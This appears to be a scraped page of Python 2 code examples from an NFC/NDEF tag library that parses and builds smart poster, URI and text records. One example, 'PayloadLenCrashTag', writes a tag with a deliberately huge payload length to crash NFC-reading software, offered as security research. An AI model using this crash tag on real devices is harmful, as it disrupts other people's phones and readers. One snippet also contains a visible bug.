Пример #1
0
 def fromRawData(self, raw_data, raw_is_hex):
     m = NDEFMessage.NDEFMessage()
     m.fromRawData(raw_data, raw_is_hex)
     for i in range(0, m.getNumRecords()):
         r = m.getRecord(i)
         if r.getType() == self.__my_type:
             m1 = NDEFMessage.NDEFMessage()
             m1.fromRawData(r.getPayloadRaw(), 0)
             for j in range(0, m1.getNumRecords()):
                 r1 = m1.getRecord(j)
                 if r1.getType() == "U":
                     self.__uri_rec = NDEFUri.NDEFUri()
                     self.__uri_rec.fromRawData(r1.getRawBytes(), 0)
                     ab = NDEFUri.NDEFUriAbbreviation()
                     self.__uri = ab.getName(self.__uri_rec.getAbbreviation(
                     )) + self.__uri_rec.getUri()
                 elif r1.getType() == "T":
                     self.__title_rec = NDEFTextRecord.NDEFTextRecord()
                     self.__title_rec.fromRawData(r1.getRawBytes(), 0)
                     self.__title = self.__title_rec.getText()
                     self.__language = self.__title_rec.getLanguage()
                 elif r1.getType() == "act":
                     self.__action_rec = NDEFSpAction()
                     self.__action_rec.fromRawData(r1.getRawBytes(), 0)
                     self.__action = self.__action_rec.getAction()
                 elif r1.getType() == "t":
                     self.__type_rec = NDEFSpType()
                     self.__type_rec.fromRawData(r1.getRawBytes(), 0)
                     self.__type_info = self.__type_rec.getType()
                 elif r1.getType() == "s":
                     self.__size_rec = NDEFSpSize()
                     self.__size_rec.fromRawData(r1.getRawBytes(), 0)
                     self.__size_info = self.__size_rec.getSize()
                 else:
                     self.__records.append(r1)
Пример #2
0
 def __init__(self, data, is_hex=0):
     m = NDEFMessage.NDEFMessage()
     m.fromRawData(data, is_hex)
     if m.getNumRecords() > 0:
         r = m.getRecord(0)
         print "Message has " + str(
             m.getNumRecords()) + " Records, Type is = " + r.getType()
         if r.getType() == "Sp":
             m1 = NDEFMessage.NDEFMessage()
             m1.fromRawData(r.getPayloadRaw(), 0)
             print "SmartPoster has " + str(m1.getNumRecords()) + " Parts"
             for i in range(0, m1.getNumRecords()):
                 r1 = m1.getRecord(i)
                 print r1.getType()
                 if r1.getType() == "U":
                     u = NDEFUri.NDEFUri()
                     u.fromRawData(r1.getRawBytes(), 0)
                     ab = NDEFUri.NDEFUriAbbreviation()
                     print "Plain URI: " + u.getUri()
                     print "Abbreviation: " + str(u.getAbbreviation())
                     print "Complete URI: " + ab.getName(
                         u.getAbbreviation()) + u.getUri()
                 elif r1.getType() == "T":
                     u = NDEFTextRecord.NDEFTextRecord()
                     u.fromRawData(r1.getRawBytes(), 0)
                     print u.getText()
         else:
             print "Message is not a SmartPoster"
     else:
         print "No Records in Message"
 def getNDEFRecord(self):
     rec = NDEFMessage.NDEFRecord()
     rec.setType(self.__my_type)
     rec.setTnf(self.__my_tnf)
     payload = self.__station + self.__name + chr(0) + chr(0)
     rec.setPayload(payload)
     return rec
Пример #4
0
 def fromRawData(self, raw_data, raw_is_hex):
     rec = NDEFMessage.NDEFRecord()
     rec.fromRawData(raw_data, raw_is_hex)
     if rec.getType() == self.__my_type:
         payload = rec.getPayloadRaw()
         if len(payload) == 1:
             self.__action = payload[0]
Пример #5
0
 def getNDEFRecord(self):
     rec = NDEFMessage.NDEFRecord()
     rec.setType(self.__my_type)
     rec.setTnf(self.__my_tnf)
     payload = chr(self.__profile)
     rec.setPayload(payload)
     return rec
Пример #6
0
 def getNDEFRecord(self):
     rec = NDEFMessage.NDEFRecord()
     rec.setTnf(self.__my_tnf)
     rec.setType(self.__my_type)
     payload = chr(self.__abbreviation)
     payload = payload + str(self.__uri)
     rec.setPayload(payload)
     return rec
Пример #7
0
	def mime_write(self, mime, data):
		r = NDEFMessage.NDEFRecord()
		r.setPayload(data)
		r.setTnf(0x02)
		r.setType(mime)
		
		w = CollinsBtNfcAdapter.CollinsBtNfcAdapter()
		w.quickWrite(r.getHex(), self.bdaddr, self.channel)
Пример #8
0
 def getNDEFRecord(self):
     rec = NDEFMessage.NDEFRecord()
     rec.setTnf(self.__my_tnf)
     rec.setType(self.__my_type)
     payload = chr((len(self.__language_code)) | (self.__utf16 << 7))
     payload = payload + self.__language_code
     payload = payload + str(self.__text)
     rec.setPayload(payload)
     return rec
Пример #9
0
 def fromRawData(self, raw_data, raw_is_hex):
     rec = NDEFMessage.NDEFRecord()
     rec.fromRawData(raw_data, raw_is_hex)
     if rec.getType() == self.__my_type:
         payload = rec.getPayloadRaw()
         #print payload
         self.__type = ""
         for i in range(0, len(payload)):
             self.__type = self.__type + chr(payload[i])
Пример #10
0
 def fromRawData(self, raw_data, raw_is_hex):
     rec = NDEFMessage.NDEFRecord()
     rec.fromRawData(raw_data, raw_is_hex)
     if rec.getType() == self.__my_type:
         payload = rec.getPayloadRaw()
         if len(payload) == 4:
             self.__size = payload[0] << 24 | payload[1] << 16 | payload[
                 2] << 8 | payload[3]
         else:
             self.__size = 0
Пример #11
0
 def fromRawData(self, raw_data, raw_is_hex):
     rec = NDEFMessage.NDEFRecord()
     rec.fromRawData(raw_data, raw_is_hex)
     if rec.getType() == self.__my_type:
         payload = rec.getPayload()
         if len(payload) > 0:
             self.__abbreviation = ord(payload[0])
         self.__uri = ""
         for i in range(1, len(payload)):
             self.__uri = self.__uri + payload[i]
Пример #12
0
 def getNDEFRecord(self):
     rec = NDEFMessage.NDEFRecord()
     rec.setTnf(self.__my_tnf)
     rec.setType(self.__my_type)
     payload = []
     payload.append((self.__size >> 24) & 0xFF)
     payload.append((self.__size >> 16) & 0xFF)
     payload.append((self.__size >> 8) & 0xFF)
     payload.append(self.__size & 0xFF)
     rec.setPayload(payload)
     return rec
Пример #13
0
    def mime_write(self, mime, data):
        r = NDEFMessage.NDEFRecord()
        r.setPayload(data)
        r.setTnf(0x02)
        r.setType(mime)

        if self.outfile != None:
            tag = NFCTagType1.NFCTagType1()
            tag.setNDEF(r.getHex())
            fp = open(self.outfile, 'wb')
            fp.write(tag.getTag(0))
            fp.close()
        else:
            w = CollinsBtNfcAdapter.CollinsBtNfcAdapter()
            w.quickWrite(r.getHex(), self.bdaddr, self.channel)
Пример #14
0
 def fromRawData(self, raw_data, raw_is_hex):
     rec = NDEFMessage.NDEFRecord()
     rec.fromRawData(raw_data, raw_is_hex)
     if rec.getType() == self.__my_type:
         payload = rec.getPayload()
         if (ord(payload[0]) & 0x80):
             self.__utf16 = 1
         llen = ord(payload[0]) & 0x7F
         self.__language_code = ""
         for i in range(1, llen + 1):
             self.__language_code = self.__language_code + payload[i]
         pos = 1 + llen
         self.__text = ""
         for i in range(pos, len(payload)):
             #if ord(payload[i]) < 127 and ord(payload[i]) > 32:
             self.__text = self.__text + payload[i]
Пример #15
0
 def getNDEFRecord(self):
     rec = NDEFMessage.NDEFRecord()
     rec.setType(self.__my_type)
     rec.setTnf(self.__my_tnf)
     payload = ""
     payload = payload + chr(self.__conf & 0xFF)
     payload = payload + self.__bdaddr2bin()
     payload = payload + chr(self.__cod >> 16 & 0xFF)
     payload = payload + chr(self.__cod >> 8 & 0xFF)
     payload = payload + chr(self.__cod & 0xFF)
     if self.__authinfo != None:
         payload = payload + self.__authinfo
     else:
         for i in range(0, 16):
             payload = payload + chr(0)
     l = len(self.__shortname)
     payload = payload + chr(l & 0xFF)
     #print str(ord(chr(l & 0xFF)))
     payload = payload + self.__shortname
     rec.setPayload(payload)
     return rec
Пример #16
0
 def getNDEFRecord(self):
     if self.__len == 0:
         self.__len = 2 + 3 + 2 + 1 + 1 + len(
             self.__station_name) + 1 + 1 + 1
         #print "Len: " + str(self.__len)
     payload = []
     # static
     payload.append(0x01)
     payload.append(0x05)
     #print payload
     # station id
     payload.append((self.__station_id / 0x10000) & 0xFF)
     payload.append(((self.__station_id % 0x10000) / 256) & 0xFF)
     payload.append(((self.__station_id % 0x10000) % 256) & 0xFF)
     # length offset
     print self.__len
     self.__len = len(self.__station_name) + 1
     print self.__len
     payload.append((self.__len >> 8) & 0xFF)
     payload.append(self.__len & 0xFF)
     # static
     payload.append(0x02)
     # station name length
     payload.append(self.__station_name_len & 0xFF)
     # station name
     for i in range(0, len(self.__station_name)):
         payload.append(self.__station_name[i])
     # static
     payload.append(0x03)
     # sig len
     payload.append(chr(self.__tag_sig_len & 0xFF))
     # sig
     for i in range(0, len(self.__tag_sig)):
         payload.append(self.__tag_sig[i])
     rec = NDEFMessage.NDEFRecord()
     rec.setTnf(self.__my_tnf)
     rec.setType(self.__my_type)
     rec.setPayload(payload)
     return rec
Пример #17
0
    def getNDEFMessage(self):
        if self.__uri_rec == None and self.__uri != None:
            self.__uri_rec = NDEFUri.NDEFUri()
            self.__uri_rec.setUri(self.__uri)

        if self.__uri_rec == None:
            return None

        if self.__action_rec == None and self.__action != None:
            self.__action_rec = NDEFSpAction()
            self.__action_rec.setAction(self.__action)

        if self.__type_rec == None and self.__type_info != None:
            self.__type_rec = NDEFSpType()
            self.__type_rec.setType(self.__type_info)

        if self.__size_rec == None and self.__size_info != None:
            self.__size_rec = NDEFSpSize()
            self.__size_rec.setSize(self.__size_info)

        if self.__title_rec == None and self.__title != None:
            self.__title_rec = NDEFTextRecord.NDEFTextRecord()
            self.__title_rec.doFull(self.__title, self.__language_code)

        sp = NDEFMessage.NDEFRecord()
        sp.setTnf(self.__my_tnf)
        sp.setType(self.__my_type)
        payload = self.__uri_rec.getNDEFRecord().getRawBytes()
        if self.__action_rec != None:
            payload = payload + self.__action_rec.getNDEFRecord().getRawBytes()
        if self.__type_rec != None:
            payload = payload + self.__type_rec.getNDEFRecord().getRawBytes()
        if self.__size_rec != None:
            payload = payload + self.__size_rec.getNDEFRecord().getRawBytes()
        payload = payload + self.__title_rec.getNDEFRecord().getRawBytes()
        for i in range(0, len(self.__records)):
            payload = payload + self.__records[i].getRawBytes()
        sp.setPayloadLen(len(payload))
        if len(payload) <= 255:
            sp.setSR(1)

        msg = NDEFMessage.NDEFMessage()
        msg.append(sp)
        msg.append(self.__uri_rec.getNDEFRecord())
        if self.__action_rec != None:
            msg.append(self.__action_rec.getNDEFRecord())
        if self.__type_rec != None:
            msg.append(self.__type_rec.getNDEFRecord())
        if self.__size_rec != None:
            msg.append(self.__size_rec.getNDEFRecord())
        msg.append(self.__title_rec.getNDEFRecord())

        for i in range(0, len(self.__records)):
            msg.append(self.__records[i])

        r = msg.getRecord(0)
        r.setMB(1)
        r.setME(1)
        r = msg.getRecord(1)
        r.setMB(1)
        r.setME(0)
        return msg
Пример #18
0
#
# Copyright: Collin Mulliner <*****@*****.**>
# Web: http://www.mulliner.org/nfc/
#
# License: GPLv2
#

#
# For educational purpose only!
#

import NDEFMessage
import NFCTagType1
import os

if len(os.sys.argv) < 2:
    print "syntax: PayloadLenCrashTag <outputfile>"
    print " write file to RFID tag using: ndef_mifare -w <outputfile>"
else:
    m = NDEFMessage.NDEFRecord()
    m.setTnf(0x1)
    m.setType("U")
    m.setPayload("\0http://www.mulliner.org/nfc/")
    m.setSR(0)
    m.setPayloadLen(0xfffffffe)
    tag = NFCTagType1.NFCTagType1()
    tag.setNDEF(m.getHex())
    fp = open(os.sys.argv[1], 'wb')
    fp.write(tag.getTag(0))
    fp.close()
Пример #19
0
 def getNDEFRecord(self):
     rec = NDEFMessage.NDEFRecord()
     rec.setTnf(self.__my_tnf)
     rec.setType(self.__my_type)
     rec.setPayload(self.__type)
     return rec
Пример #20
0
# Copyright: Collin Mulliner <*****@*****.**>
# Web: http://www.mulliner.org/nfc/
#
# License: GPLv2
#

import NDEFSmartPoster
import NDEFUri
import NDEFTextRecord
import NDEFMessage
import CollinsBtNfcAdapter
import os

if len(os.sys.argv) < 4:
    print "Write RAW NDEFMessage to tag (file must contain NDEFMessage in hex)"
    print "syntax: " + os.sys.argv[0] + " <BDADDR> <CHANNEL=[22|25]> <FILENAME>"
else:
    fi = open(os.sys.argv[3], 'rb')
    data = fi.read()
    fi.close()

    print "read " + str(len(data)) + " bytes from " + os.sys.argv[2]

    m = NDEFMessage.NDEFMessage()
    m.fromRawData(data, 1)

    baddr = os.sys.argv[1]
    chan = int(os.sys / argv[2])
    na = CollinsBtNfcAdapter.CollinsBtNfcAdapter()
    na.quickWrite(m.getHex(), baddr, chan)
Пример #21
0
 def fromRawData(self, raw_data, raw_is_hex):
     rec = NDEFMessage.NDEFRecord()
     rec.fromRawData(raw_data, raw_is_hex)
     if rec.getType() == self.__my_type:
         payload = rec.getPayload()
         self.__parsePayload(payload)